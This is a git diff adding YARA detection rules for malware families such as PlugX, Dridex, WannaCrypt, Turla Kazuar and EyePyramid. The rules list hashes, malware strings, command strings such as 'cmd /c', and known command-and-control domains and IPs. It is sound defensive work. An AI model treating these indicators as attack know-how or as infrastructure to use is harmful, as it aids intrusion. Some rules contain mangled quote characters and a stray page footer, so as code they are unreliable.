+		hash1 = "61900fb9841a4d6d14e990163ea575694e684beaf912f50989b0013a9634196f"
+		hash2 = "71b201a5a7dfdbe91c0a7783f845b71d066c62014b944f488de5aec6272f907c"
+		hash3 = "56ec1ccab98c1ed67a0095b7ec8e6b17b12da3e00d357274fa37ec63ec724c07"
+		hash4 = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
+	strings:
+		$datfile = "nvdisps_user.dat"
+		$dllfile = "nvdisps.dll"
+		$rundll32 = "Rundll32.exe"
+		$winhlp32 = "\\winhlp32.exe"
+		$shellout = "ShadowPlay 84"
+	condition:
+		5 of ($datfile,$dllfile,$rundll32,$winhlp32,$shellout)
+}
+
+
+import "cuckoo"
+
+rule plugx_cuckoo_servers : APT
+{
+	meta:
+		description = "Detect plugx samples based on the domain used"
+		author = "@h3x2b <tracker _AT h3x.eu>"
+
+	condition:
+		cuckoo.network.http_request(/.*licdn.us/) or
+		cuckoo.network.http_request(/.*voanews.hk/) or 
+		cuckoo.network.http_request(/.*nhknews.hk/) or 
+		cuckoo.network.http_request(/.*vancouversun.us/) or
+		cuckoo.network.http_request(/.*yomiuri.us/) or
+		cuckoo.network.http_request(/.*hnn.hk/)
+}
+
+rule plugx_cuckoo_registry : APT
+{
+	meta:
+		description = "Detect plugx samples based on the registry used"
+		author = "@h3x2b <tracker _AT h3x.eu>"
+
+	condition:
+		cuckoo.registry.key_access(/\\SOFTWARE\\BINARY\\.*/) or 
+		cuckoo.registry.key_access(/\\Software\\BINARY\\.*/) 
+}
+
+rule plugx_c2_communication : APT
+{
+	meta:
+		description = "Match the DZKS....DZJS C2 string"
+		author = "@h3x2b <tracker _AT h3x.eu>"
+
+	strings:
+		$s1 = /DZKS[A-Z]*DZJS/
+
+	condition:
+		any of them
+
+}
+
+rule plugx_loader_apphelp : APT
+{
+	meta:
+		description = "Identify the PlugX side loader used to trojan legit software like KMPlayer"
+		author = "@h3x2b <tracker _AT h3x.eu>"
+
+	strings:
+		$yes_s1 = "RtlUnwind"
+		$yes_s2 = "LoadLibraryA"
+		$no_s1 = "ApphelpUpdateCacheEntry"
+
+	condition:
+		// file_type contains "pedll"
+                uint16(0) == 0x5a4d
+		and pe.characteristics & pe.DLL
+
+		and all of ( $yes_* )
+		and not $no_s1
+
+		//and file_name contains "apphelp.dll"
+}
+
diff --git a/yara-mikesxrs/h3x2b/win_plugx_av.vt_yara b/yara-mikesxrs/h3x2b/win_plugx_av.vt_yara
new file mode 100644
index 0000000..8f54ffc
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_plugx_av.vt_yara
@@ -0,0 +1,49 @@
+import "pe"
+rule plugx_korplug_av_signature : APT malware
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Hint about new Korplug/PlugX detections"
+
+	strings:
+		$sfx = "SFX module"
+
+
+	condition:
+		// Search for #Korplug samples
+		//new_file and
+		uint16(0) == 0x5a4d
+		//and file_type contains "pe"
+		and pe.characteristics & pe.DLL
+		and $sfx
+		and (
+			signatures matches /Korplug/
+			or signatures matches /PlugX/
+		)
+
+}
+
+
+/*
+rule Kazy_av_signature_dll : APT malware
+{
+	meta:
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		description = "Search for Kazy DLL samples"
+
+	strings:
+		$sfx = "SFX module"
+
+	condition:
+		//new_file and
+		uint16(0) == 0x5a4d and
+		( $sfx or 
+		//file_type contains "pedll"
+		pe.characteristics & pe.DLL
+		)
+		and ( signatures matches /Kazy/ )
+		and filesize < 10000
+}
+*/
+
+
diff --git a/yara-mikesxrs/h3x2b/win_spora.yara b/yara-mikesxrs/h3x2b/win_spora.yara
new file mode 100644
index 0000000..ddcb37d
--- /dev/null
+++ b/yara-mikesxrs/h3x2b/win_spora.yara
@@ -0,0 +1,17 @@
+rule spora_pki : malware
+{
+    meta:
+        description = "Identify Spora PKI"
+        author = "tracker [_at] h3x.eu"
+
+    strings:
+        $spora_key1_1 = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC6COfj49E0yjEopSpP5kbeCRQp"
+        $spora_key1_2 = "WdpWvx5XJj5zThtBa7svs/RvX4ZPGyOG0DtbGNbLswOYKuRcRnWfW5897B8xWgD2"
+        $spora_key1_3 = "AMQd4KGIeTHjsbkcSt1DUye/Qsu0jn4ZB7yKTEzKWeSyon5XmYwoFsh34ueErnNL"
+        $spora_key1_4 = "LZQcL88hoRHo0TVqAwIDAQAB"
+
+    condition:
+         //file_type contains "MZ"
+        uint16(0) == 0x5a4d
+        and all of ( $spora_key1_* )
+}
diff --git a/yara-mikesxrs/hidd3ncod3s/trojan_win_dridex.yar b/yara-mikesxrs/hidd3ncod3s/trojan_win_dridex.yar
new file mode 100644
index 0000000..0eaec8a
--- /dev/null
+++ b/yara-mikesxrs/hidd3ncod3s/trojan_win_dridex.yar
@@ -0,0 +1,47 @@
+import "pe"
+
+rule trojan_win_possible_dridex {
+	meta:
+		description = "Possibly Dridex sample"
+		author = "hidd3ncod3s@gmail.com"
+		date = "2015-12-26"
+	strings:
+		$s1 = "str" fullword ascii
+		$s2 = "SVWATAUAWUH" fullword ascii
+		$s3 = {56 57 53 55 81 EC 80 00}
+	condition:
+		($s2 or $s3) and $s1
+}
+
+rule trojan_win_dridex {
+	meta:
+		description = "Rule to identify Dridex(Dec 2015)"
+		author = "hidd3ncod3s@gmail.com"
+		date = "2015-12-26"
+	strings:
+		$s1 = "str" fullword ascii
+		$s2 = "mod4" fullword ascii
+		$s3 = "list" fullword ascii
+		$s4 = "bot" fullword ascii
+		$s5 = "mod5" fullword ascii
+		$s6 = "SVWATAUAWUH" fullword ascii
+		
+	condition:
+		pe.sections[5].name == ".sdata" and all of ($s*)
+}
+
+
+rule trojan_win_dridex_TM {
+	meta:
+		description = "Rule to identify Dridex.TM"
+		author = "hidd3ncod3s@gmail.com"
+		date = "2016-01-09"
+	strings:
+		$s1 = "str" fullword ascii
+		$s2 = "SVWATAUAWUH" fullword ascii
+		$mv1 = {0F B6 [6] 0F B6 [6] 0F B6 [6] 0F B6 [6] 0F B7}
+		$mv2 = {0F B6 [3] 0F B6 [3] 0F B6 [3] 0F B6 [3] 0F B7}
+
+	condition:
+		all of ($s*) and ($mv1 or $mv2)
+}
diff --git a/yara-mikesxrs/iDefense/WannaCrypt0r.yara b/yara-mikesxrs/iDefense/WannaCrypt0r.yara
new file mode 100644
index 0000000..fa85f64
--- /dev/null
+++ b/yara-mikesxrs/iDefense/WannaCrypt0r.yara
@@ -0,0 +1,35 @@
+
+rule EQN_SMB1_PatientZero
+{
+meta:
+  description = "Detection of network traffic towards the 1st sinkholes domain - kill switch"
+  author = "Kiran Bandla - iDefense"
+  reference = "https://s3.amazonaws.com/assets.accenture.com/PDF/Accenture-Security-Ransomware.pdf"
+strings:
+  $smb1_free_hole = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe 00 00 40 00 0c ff 00 00 00 04 11 0a 00 }
+  $ipc = "\\\\%s\\IPC$"
+  $userid = "__USERID__PLACEHOLDER__"
+  $treeid = "__TREEID__PLACEHOLDER__"
+  $old_c2 = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com"
+condition:
+  $smb1_free_hole and $ipc and $userid and $treeid and $old_c2
+}
+
+rule WanaCrypt0r
+{
+meta:
+  description = "Detects artifacts from WanaCrypt0r Ransomware"
+  author = "Kiran Bandla - iDefense"
+  reference = "https://s3.amazonaws.com/assets.accenture.com/PDF/Accenture-Security-Ransomware.pdf"
+strings:
+  $a = "WanaDecryptor"
+  $b = "Wana Decrypt0r"
+  $c = "WanaCrypt0r"
+  $d = ".wnry"
+  $e = ".WNRY"
+  $f = "bitcoin"
+  $g = "vssadmin"
+  $h = "torproject"
+condition:
+  4 of them
+}
diff --git a/yara-mikesxrs/iSightPartners/SDBFile.yar b/yara-mikesxrs/iSightPartners/SDBFile.yar
new file mode 100644
index 0000000..946287e
--- /dev/null
+++ b/yara-mikesxrs/iSightPartners/SDBFile.yar
@@ -0,0 +1,20 @@
+rule SDBFile
+{
+	meta:
+		author = "iSight Partners"
+		author2 = "Sean Pierce"
+		description = "Shim Database files"
+		reference = "https://www.blackhat.com/docs/asia-14/materials/Erickson/Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf"
+		reference2 = "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims.pdf"
+ 	strings:
+ 		$magic = { 73 64 62 66 } // sdbf
+ 	condition:
+ 		$magic at 8 and
+		md5 != "B02B4B8924F019BDE57484A55DC5CA57" and
+		md5 != "BA17F2DA98A8A375D22CB33C8E83A146" and
+		md5 != "EC9D5F0AE38EC4A97E70960264B7D07D" and
+		md5 != "4C7B2F691885878EDBAE48760A7E3FB9" and
+		md5 != "1D8C1280D38C526C7041E72DB8D70DC1" and
+		md5 != "8006552125C9D590843192543668BB0B"
+}
+
diff --git a/yara-mikesxrs/iocbucket/APT_NGO_wuaclt_PDF.yar b/yara-mikesxrs/iocbucket/APT_NGO_wuaclt_PDF.yar
new file mode 100644
index 0000000..c74ecc4
--- /dev/null
+++ b/yara-mikesxrs/iocbucket/APT_NGO_wuaclt_PDF.yar
@@ -0,0 +1,13 @@
+rule APT_NGO_wuaclt_PDF
+{
+	meta:
+		author = "@iocbucket"
+		description = "Yara rule for the PDF delivery vehicle and Communications based on APT 1"
+		
+	strings:
+		$pdf  = "%PDF" nocase
+		$comment = {3C 21 2D 2D 0D 0A 63 57 4B 51 6D 5A 6C 61 56 56 56 56 56 56 56 56 56 56 56 56 56 63 77 53 64 63 6A 4B 7A 38 35 6D 37 4A 56 6D 37 4A 46 78 6B 5A 6D 5A 6D 52 44 63 5A 58 41 73 6D 5A 6D 5A 7A 42 4A 31 79 73 2F 4F 0D 0A}
+
+	condition:
+		$pdf at 0 and $comment in (0..200)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/iocbucket/apt_ngo_wuaclt.yar b/yara-mikesxrs/iocbucket/apt_ngo_wuaclt.yar
new file mode 100644
index 0000000..f1218b6
--- /dev/null
+++ b/yara-mikesxrs/iocbucket/apt_ngo_wuaclt.yar
@@ -0,0 +1,20 @@
+rule APT_NGO_wuaclt
+{
+meta:
+		author = "@iocbucket"
+		description = "Yara rule for the PDF delivery vehicle and Communications based on APT 1"
+  strings:
+    $a = "%%APPDATA%%\\Microsoft\\wuauclt\\wuauclt.dat"
+    $b = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
+    $c = "/news/show.asp?id%d=%d"
+    
+	$d = "%%APPDATA%%\\Microsoft\\wuauclt\\"
+	$e = "0l23kj@nboxu"
+
+	$f = "%%s.asp?id=%%d&Sid=%%d"
+	$g = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SP Q%%d)"
+	$h = "Cookies: UseID=KGIOODAOOK%%s"
+
+  condition:
+    ($a and $b and $c) or ($d and $e) or ($f and $g and $h)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/iocbucket/iocbucket_index.yara b/yara-mikesxrs/iocbucket/iocbucket_index.yara
new file mode 100644
index 0000000..c7bbeff
--- /dev/null
+++ b/yara-mikesxrs/iocbucket/iocbucket_index.yara
@@ -0,0 +1,34 @@
+rule APT_NGO_wuaclt
+{
+meta:
+		author = "@iocbucket"
+		description = "Yara rule for the PDF delivery vehicle and Communications based on APT 1"
+  strings:
+    $a = "%%APPDATA%%\\Microsoft\\wuauclt\\wuauclt.dat"
+    $b = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)"
+    $c = "/news/show.asp?id%d=%d"
+    
+	$d = "%%APPDATA%%\\Microsoft\\wuauclt\\"
+	$e = "0l23kj@nboxu"
+
+	$f = "%%s.asp?id=%%d&Sid=%%d"
+	$g = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SP Q%%d)"
+	$h = "Cookies: UseID=KGIOODAOOK%%s"
+
+  condition:
+    ($a and $b and $c) or ($d and $e) or ($f and $g and $h)
+}
+
+rule APT_NGO_wuaclt_PDF
+{
+	meta:
+		author = "@iocbucket"
+		description = "Yara rule for the PDF delivery vehicle and Communications based on APT 1"
+		
+	strings:
+		$pdf  = "%PDF" nocase
+		$comment = {3C 21 2D 2D 0D 0A 63 57 4B 51 6D 5A 6C 61 56 56 56 56 56 56 56 56 56 56 56 56 56 63 77 53 64 63 6A 4B 7A 38 35 6D 37 4A 56 6D 37 4A 46 78 6B 5A 6D 5A 6D 52 44 63 5A 58 41 73 6D 5A 6D 5A 7A 42 4A 31 79 73 2F 4F 0D 0A}
+
+	condition:
+		$pdf at 0 and $comment in (0..200)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/jackcr/gh0st.yar b/yara-mikesxrs/jackcr/gh0st.yar
new file mode 100644
index 0000000..75e58b3
--- /dev/null
+++ b/yara-mikesxrs/jackcr/gh0st.yar
@@ -0,0 +1,12 @@
+rule gh0st
+
+{
+
+   strings:
+      $a = { 47 68 30 73 74 ?? ?? ?? ?? ?? ?? ?? ?? 78 9C }
+      $b = "Gh0st Update"
+
+   condition:
+      any of them
+
+}
diff --git a/yara-mikesxrs/jackcr/pivy.yar b/yara-mikesxrs/jackcr/pivy.yar
new file mode 100644
index 0000000..cf46ec0
--- /dev/null
+++ b/yara-mikesxrs/jackcr/pivy.yar
@@ -0,0 +1,11 @@
+rule memory_pivy
+
+{
+
+   strings:
+      $a = {00 00 00 00 00 00 00 00 00 00 00 53 74 75 62 50 61 74 68 00} // presence of pivy in memory
+
+   condition: 
+      any of them
+
+}
diff --git a/yara-mikesxrs/jackcr/shylock.yar b/yara-mikesxrs/jackcr/shylock.yar
new file mode 100644
index 0000000..210126a
--- /dev/null
+++ b/yara-mikesxrs/jackcr/shylock.yar
@@ -0,0 +1,17 @@
+rule memory_shylock
+
+{
+
+   strings:
+      $a = /pipe\\[A-F0-9]{32}/     //Named pipe created by the malware
+      $b = /id=[A-F0-9]{32}/     //Portion or the uri beacon
+      $c = /MASTER_[A-F0-9]{32}/     //Mutex created by the malware
+      $d = "***Load injects by PIPE (%s)" //String found in binary
+      $e = "***Load injects url=%s (%s)" //String found in binary
+      $f = "*********************** Ping Ok ************************" //String found in binary
+      $g = "*** LOG INJECTS *** %s"     //String found in binary
+
+   condition: 
+      any of them
+
+}
diff --git a/yara-mikesxrs/juanandresgs/apt_RU_Turla_Kazuar_DebugView.yara b/yara-mikesxrs/juanandresgs/apt_RU_Turla_Kazuar_DebugView.yara
new file mode 100644
index 0000000..196b613
--- /dev/null
+++ b/yara-mikesxrs/juanandresgs/apt_RU_Turla_Kazuar_DebugView.yara
@@ -0,0 +1,82 @@
+import "pe"
+import "dotnet"
+
+/*
+	"dbgsview.exe"
+	Agent.exe
+	"adflctlmon.exe"
+	d3429016-d029-45b8-b260-85221265838e
+	76b7b11a-4124-448b-9903-15524e321f3f
+	2cde886e-ee24-496a-bb31-1ced6b766ced
+	imphash
+	f34d5f2d4577ed6d9ceec516c1f5a744
+*/
+
+rule apt_RU_Turla_Kazuar_DebugView_peFeatures
+{
+	meta:
+		desc = "Turla mimicking SysInternals Tools- peFeatures"
+		version = "2.0"
+		author = "JAG-S"
+		hash = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
+		hash = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
+
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		(
+			pe.version_info["LegalCopyright"] == "Test Copyright" 
+			and
+			(
+				(
+				pe.version_info["ProductName"] == "Sysinternals DebugView"
+				and
+				pe.version_info["Description"] == "Sysinternals DebugView"
+				)
+			or
+				(
+				pe.version_info["FileVersion"] == "4.80.0.0"
+				and
+				pe.version_info["Comments"] == "Sysinternals DebugView"
+				)
+			or
+				(
+				pe.version_info["OriginalName"] contains "DebugView.exe"
+				and
+				pe.version_info["InternalName"] contains "DebugView.exe"
+				)
+			or
+				(
+				pe.version_info["OriginalName"] == "Agent.exe"
+				and
+				pe.version_info["InternalName"] == "Agent.exe"
+				)
+			)
+		)
+}
+
+
+rule apt_RU_Turla_Kazuar_DebugView_dotnet
+{
+	meta:
+		desc = "Turla mimicking SysInternals Tools- peFeatures"
+		version = "1.0"
+		author = "JAG-S"
+		hash = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
+		hash = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		(
+			for any i in (0..dotnet.number_of_guids-1): 
+			(
+					dotnet.guids[i] == "d3429016-d029-45b8-b260-85221265838e"
+					or
+					dotnet.guids[i] == "76b7b11a-4124-448b-9903-15524e321f3f"
+					or
+					dotnet.guids[i] == "2cde886e-ee24-496a-bb31-1ced6b766ced"
+			)
+			or
+			dotnet.module_name == "DebugView.exe"
+		)		
+}
diff --git a/yara-mikesxrs/juanandresgs/apt_ZZ_Sig37_NAZAR.yara b/yara-mikesxrs/juanandresgs/apt_ZZ_Sig37_NAZAR.yara
new file mode 100644
index 0000000..783ee3d
--- /dev/null
+++ b/yara-mikesxrs/juanandresgs/apt_ZZ_Sig37_NAZAR.yara
@@ -0,0 +1,122 @@
+import "pe"
+import "hash"
+
+rule apt_ZZ_SIG37_NAZAR_GpUpdatesExe
+{
+	meta:
+		desc = "SIG37 GpUpdates dropper, Chilkat Zip2Secure"
+		author = "JAG-S"
+		hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
+	strings:
+		$open = "open" ascii wide fullword
+		$regsrv = "regsvr32.exe" ascii wide
+		$filename1 = "Godown.dll -s" ascii wide
+		$filename2 = "ViewScreen.dll -s" ascii wide
+		$filename3 = "Filesystem.dll -s" ascii wide
+
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		($open and $regsrv and (1 of ($filename*))) 
+}
+
+rule apt_ZZ_SIG37_NAZAR_FarsiResources
+{
+	meta:
+		desc = "SIG37 GpUpdates Shared Farsi resources"
+		author = "JAG-S"
+		hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		for any i in (0..pe.number_of_resources - 1): //FARSI resources
+			(
+				hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "893cf8c164106784669b395825f17c21f46a345babfff6144686e8e1a48bf2f1"
+				or
+				hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "26ee0ff37e6ffd30ca5415992ececc5faeb8e6a937fcbeb3952ce5581456b7b5"
+			)
+}
+
+rule apt_ZZ_SIG37_NAZAR_GoDownDll
+{
+	meta:
+		desc = "SIG37 Dropped TypeLibrary"
+		author = "JAG-S"		
+		hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec" //??
+	strings:
+		$godown1 = /Godown [0-9.]{1,4} Type LibraryWWW/ ascii wide
+		$godown2 = "Godown.Shutdown.1" ascii wide
+		$godown3 = "qGODOWNLibWWW" ascii wide
+
+		$guid1 = "{772BA12D-8A62-4DD3-B3E8-92DA702E6F3D}" ascii wide //TypeLib reg
+		$guid2 = "{B64E94AF-D56B-48B4-B178-AF0723E72AB5}" ascii wide //TypeLib reg
+		$guid3 = "{DBCB4B31-21B8-4A0F-BC69-0C3CE3B66D00}" ascii wide
+
+		$shutdown1 = "aShutdownd" ascii wide
+		$shutdown2 = "IShutdownWWWd" ascii wide
+		$shutdown3 = "IShutdown InterfaceWWW" ascii wide
+		$shutdown4 = "method PowerOffWWW" ascii wide		
+		$shutdown5 = "property TimeoutWW" ascii wide
+
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		(
+			any of ($godown*)
+			or
+			any of ($guid*)
+			or
+			2 of ($shutdown*)
+		)
+}
+
+rule apt_ZZ_SIG37_NAZAR_Kzher_pdb
+{
+	meta:
+		desc = "GoDown PDB Path"
+		author = "JAG-S"		
+		hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
+		hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
+		hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
+	strings:
+		$pdb_spec = "C:\\khzer\\DLLs\\DLL's Source\\" ascii wide
+		$pdb_gen = "C:\\khzer\\" ascii wide
+
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		any of them
+}
+
+
+rule apt_ZZ_SIG37_NAZAR_GpUpdates_Distribute
+{
+	meta:
+		desc = "SIG37 GpUpdates unpacked distributor: Distribute.exe"
+		author = "JAG-S"
+		hash = "6b8ea9a156d495ec089710710ce3f4b1e19251c1d0e5b2c21bbeeab05e7b331f"
+		parent = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
+	strings:
+		$uniq_filename1 = "\\godown.dll" ascii wide
+		
+		
+		$common_filename1 = "\\ViewScreen.dll" ascii wide
+		$common_filename2 = "\\filesystem.dll" ascii wide
+		$common_filename3 = "\\dllcache\\svchost.exe" ascii wide
+		$common_filename4 = "\\lame_enc.dll" ascii wide
+		$common_filename5 = "\\hodll.dll" ascii wide
+
+		$service1 = "Provides basic host functionality" ascii wide
+		$service2 = "EYService" ascii wide
+		$service3 = "Windows Host Service" ascii wide
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		(
+			any of ($uniq_filename*)
+			or
+			all of ($common_filename*)
+			or
+			(all of ($service*) and 3 of ($common_filename*))
+		)
+}
diff --git a/yara-mikesxrs/juanandresgs/sta_Voltron_0xFancyFilter.yara b/yara-mikesxrs/juanandresgs/sta_Voltron_0xFancyFilter.yara
new file mode 100644
index 0000000..81cd209
--- /dev/null
+++ b/yara-mikesxrs/juanandresgs/sta_Voltron_0xFancyFilter.yara
@@ -0,0 +1,109 @@
+import "pe"
+import "hash"
+
+rule sta_Voltron_0xFancyFilter_broad
+{
+	meta:
+		desc = "Experimental approaches to detecting 0xFancyFilter features"
+		author = "JAG-S"
+		canary = "passed"
+		version = "5"
+		last_modified = "02.25.2021"
+		hash1 = "ef35705696d78cc9f4de6adad2cbe5ed22fd50da0ce4180c1d47cf0536aebc87"
+		hash2 = "df4bc387181ffaabe0be39e66ef5eb838ed638e0ae2b82e9a7daa83647e38bb1"
+		hash3 = "cd3ee807e349abae65d93e421176f302528b739e9e1d77a6ce4e57caeec91b4e"
+		hash4 = "369145c6f366f25a4e8878ad1ffec73d680cdc2da4380b221d1d7cdf3a90c930"
+	strings:
+		$a1 = "mJzTmRichKzTm" ascii wide
+		$a2 = "@+aC@+a1@+aT@+a" ascii wide
+		$a3 = "?nothrow@std@@3Unothrow_t@1@B" ascii wide
+		$a4 = "IEIsProtectedModeProcess" ascii wide
+
+		$spec1 = "htmlfiltxx64.dll" ascii wide
+		$spec2 = "Microsoft (R) html: Protocol Filter" ascii wide
+		$spec3 = "htmlfilt.dat" ascii wide
+		//$spec5 = "htmlfilt.dll" ascii wide //FP w Tracked PSP
+		$spec6 = "http: Asynchronous Pluggable Protocol Filter" ascii wide
+
+		//Potential FPs?
+		$urlPrep1 = "&MetaCredentials=" ascii wide
+		$urlPrep2 = "&HashedCredentials=" ascii wide
+		$urlPrep3 = "&AuthRev=" ascii wide
+		$urlPrep4 = "&AuthType=" ascii wide
+		$urlPrep5 = "SessionId=" ascii wide
+		$urlPrep6 = "&SessionHd=%hs" ascii wide
+		$urlPrep7 = "?SessionId=%hs" ascii wide
+		
+		$clsid1 = { C2 35 31 5E 4C 91 FB BE 2E B4 4F 5B 05 }
+		$clsid2 = { CE F0 73 15 47 BF 7C 35 C1 B8 1F A2 2F }
+
+		$named_pipe1 = "pipe\\\\smeg_request" ascii wide
+		$named_pipe2 = "pipe\\smeg_response" ascii wide
+
+		$regKey1 = "Software\\Classes\\CLSID\\%ls" ascii wide
+		$regKey2 = "Software\\Classes\\PROTOCOLS\\Filter\\text/html" ascii wide
+		$regKey3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Connections" ascii wide
+		$regKey4 = "Software\\Microsoft\\Internet Explorer\\LowRegistry\\Extensions" ascii wide
+		$urlFilter1 = "UrlFilterState" ascii wide
+		$urlFilter2 = "Use_UrlFilter" ascii wide
+		$urlFilter3 = "UrlFiltering" ascii wide
+		
+		// FPs?
+		$dllLoad1 = "rundll32 %s,Entry %hs" ascii wide
+		$dllLoad2 = "cmd /c %hs" ascii wide
+		$dllLoad3 = "dllhost.exe" ascii wide
+
+		$oddities1 = "<UGH>" ascii wide
+		$oddities2 = "%d:%d:%d/%d:%d:%d" ascii wide
+		$oddities3 = "%d:%d:%d" ascii wide
+		$oddities4 = "%5d, (%5d), %ls" ascii wide
+		$oddities5 = "er.dat" ascii wide
+
+	condition:
+		uint16(0) == 0x5a4d
+		and
+		(
+			3 of ($a*)
+			or
+			any of ($spec*)
+			or
+			any of ($clsid*)
+			or
+			any of ($named_pipe*)
+			or
+			3 of ($regKey*)
+			or
+			all of ($urlPrep*)
+			or
+			(2 of ($regKey*) and 2 of ($urlFilter*))
+			or
+			all of ($dllLoad*)
+			or
+			4 of ($oddities*)
+			or
+			for any i in (0..pe.number_of_resources - 1):
+			(
+				hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "a37b63630a720111cac4be52aee1169524ccd2ac965bdc0b13b43190d33ceb13"
+				or
+				hash.sha256(pe.resources[i].offset, pe.resources[i].length) == "42aa5bf31183db59b4d67bb560c5bec823d6a6d6a937bb1086b350aa8739ad27"
+			)
+			or
+			pe.rich_signature.clear_data == "DanS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x0f`\x00\x01\x00\x00\x00{\x1c\x0c\x00\x02\x00\x00\x00\xc3\x0f\x0f\x00\x02\x00\x00\x00\xc3\x0f_\x00\x09\x00\x00\x00\x00\x00\x01\x00\xa1\x00\x00\x00\xc3\x0f]\x00\x11\x00\x00\x00\xfa#@\x00\x01\x00\x00\x00\x09x\x8a\x00\x16\x00\x00\x00\x09x\x92\x00\x01\x00\x00\x00\x1eR\x94\x00\x01\x00\x00\x00\x09x\x91\x00\x01\x00\x00\x00"
+			or
+			/*
+			for any i in (0..pe.number_of_resources - 1):
+			(
+				pe.resources[i].type_string == "X\x00"
+				and
+				pe.resources[i].language == 1033
+			)
+			 // Interesting feature but it does FP.
+			or*/
+			pe.imphash() == "e4f7691d7707944196d03353d13b963e"
+			or
+			pe.version_info["FileDescription"] contains "Microsoft (R) html:"
+		)
+}
+
+Footer
+© 2022 GitHub, Inc. 
diff --git a/yara-mikesxrs/kaspersky/Adwind.yar b/yara-mikesxrs/kaspersky/Adwind.yar
new file mode 100644
index 0000000..b500d49
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/Adwind.yar
@@ -0,0 +1,27 @@
+rule Adwind_JAR_PACKA {
+ meta:
+ author = “Vitaly Kamluk, Vitaly.Kamluk@kaspersky.com�
+ last_modified = “2015-11-30�
+ reference = "https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf"
+ strings:
+ $b1 = “.class� ascii
+ $b2 = “c/a/a/� ascii
+ $b3 = “b/a/� ascii
+ $b4 = “a.dat� ascii
+ $b5 = “META-INF/MANIFEST.MF� ascii
+ condition:
+ int16(0) == 0x4B50 and ($b1 and $b2 and $b3 and $b4 and $b5)
+}
+rule Adwind_JAR_PACKB {
+ meta:
+ author = “Vitaly Kamluk, Vitaly.Kamluk@kaspersky.com�
+ last_modified = “2015-11-30�
+ reference = "https://securelist.com/securelist/files/2016/02/KL_AdwindPublicReport_2016.pdf"
+ strings:
+ $c1 = “META-INF/MANIFEST.MF� ascii
+ $c2 = “main/Start.class� ascii
+ $a1 = “config/config.perl� ascii
+ $b1 = “java/textito.isn� ascii
+ condition:
+ int16(0) == 0x4B50 and ($c1 and $c2 and ($a1 or $b1))
+}
diff --git a/yara-mikesxrs/kaspersky/Crime_eyepyramid.yar b/yara-mikesxrs/kaspersky/Crime_eyepyramid.yar
new file mode 100644
index 0000000..adbfa15
--- /dev/null
+++ b/yara-mikesxrs/kaspersky/Crime_eyepyramid.yar
@@ -0,0 +1,58 @@
+rule crime_ZZ_EyePyramid {
+meta:
+copyright = " Kaspersky Lab"
+author = " Kaspersky Lab" 
+maltype = "crimeware"
+filetype = "Win32 EXE"
+date = "2016­01­11" version = "1.0"
+strings:
+$a0="eyepyramid.com" ascii wide nocase fullword
+$a1="hostpenta.com" ascii wide nocase fullword
+$a2="ayexisfitness.com" ascii wide nocase fullword
+$a3="enasrl.com" ascii wide nocase fullword
+$a4="eurecoove.com" ascii wide nocase fullword
+$a5="marashen.com" ascii wide nocase fullword
+$a6="millertaylor.com" ascii wide nocase fullword
+$a7="occhionero.com" ascii wide nocase fullword
+$a8="occhionero.info" ascii wide nocase fullword
+$a9="wallserv.com" ascii wide nocase fullword
+$a10="westlands.com" ascii wide nocase fullword
+$a11="217.115.113.181" ascii wide nocase fullword
+$a12="216.176.180.188" ascii wide nocase fullword
+$a13="65.98.88.29" ascii wide nocase fullword
+$a14="199.15.251.75" ascii wide nocase fullword
+$a15="216.176.180.181" ascii wide nocase fullword
+$a16="MN600­849590C695DFD9BF69481597241E­668C" ascii wide nocase fullword
+$a17="MN600­841597241E8D9BF6949590C695DF­774D" ascii wide nocase fullword
+$a18="MN600­3E3A3C593AD5BAF50F55A4ED60F0­385D" ascii wide nocase fullword
+$a19="MN600­AD58AF50F55A60E043E3A3C593ED­874A" ascii wide nocase fullword
